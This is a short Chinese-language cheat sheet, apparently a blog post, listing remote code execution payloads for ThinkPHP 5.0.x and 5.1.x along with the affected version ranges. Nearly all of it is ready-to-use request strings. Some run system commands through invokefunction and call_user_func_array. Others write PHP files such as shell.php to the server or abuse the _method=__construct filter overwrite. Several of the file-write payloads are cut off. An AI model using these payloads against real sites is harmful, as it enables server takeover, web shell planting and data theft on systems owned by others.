thinkphp远程代码执行漏洞


ThinkPHP 2.x/5.0.x/5.1.x/5 in-sqlinjection

命令执行漏洞

index/think\Container/invokefunction

命令执行漏洞

影响范围
ThinkPHP 5.0-5.0.23

ThinkPHP 5.1-5.1.31

Payload

?s=index/think\request/input?data[]=phpinfo()&filter=assert

远程代码命令执行 tp 5.0.7 ~ 5.0.23

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \’\’>zxc2.php’

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=

远程代码命令执行 tp 5.1.x

?s=index/\think\Request/input&filter=system&data=whoami

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

?=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=
vars[0]的值是PHP的函数

vars[1][]的值是PHP的函数(vars[0])的参数

system(whoami)

ThinkPHP 5.0.x [变量覆盖] RCE
影响范围
ThinkPHP 5.0.x

利用条件
Payload

tp 5.0.0 ~ 5.0.12 无条件触发(参数a可以替换成get[]/route[]等)

_method=__construct&filter=system&a=whoami&method=GET
_method=__construct&filter=system&a=whoami

tp 5.0.13 ~ 5.0.23 有条件触发(需要有第三方库,如captcha或开启debug)

GET index.php?s=captcha 第三方库

_method=__construct&filter=system&a=whoami
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
_method=__construct&filter[]=system&method=get&get[]=whoami ||
_method=__construct&filter=system&method=GET&route[]=whoami

people found this article helpful. What about you?
发表回复 0

Your email address will not be published. Required fields are marked *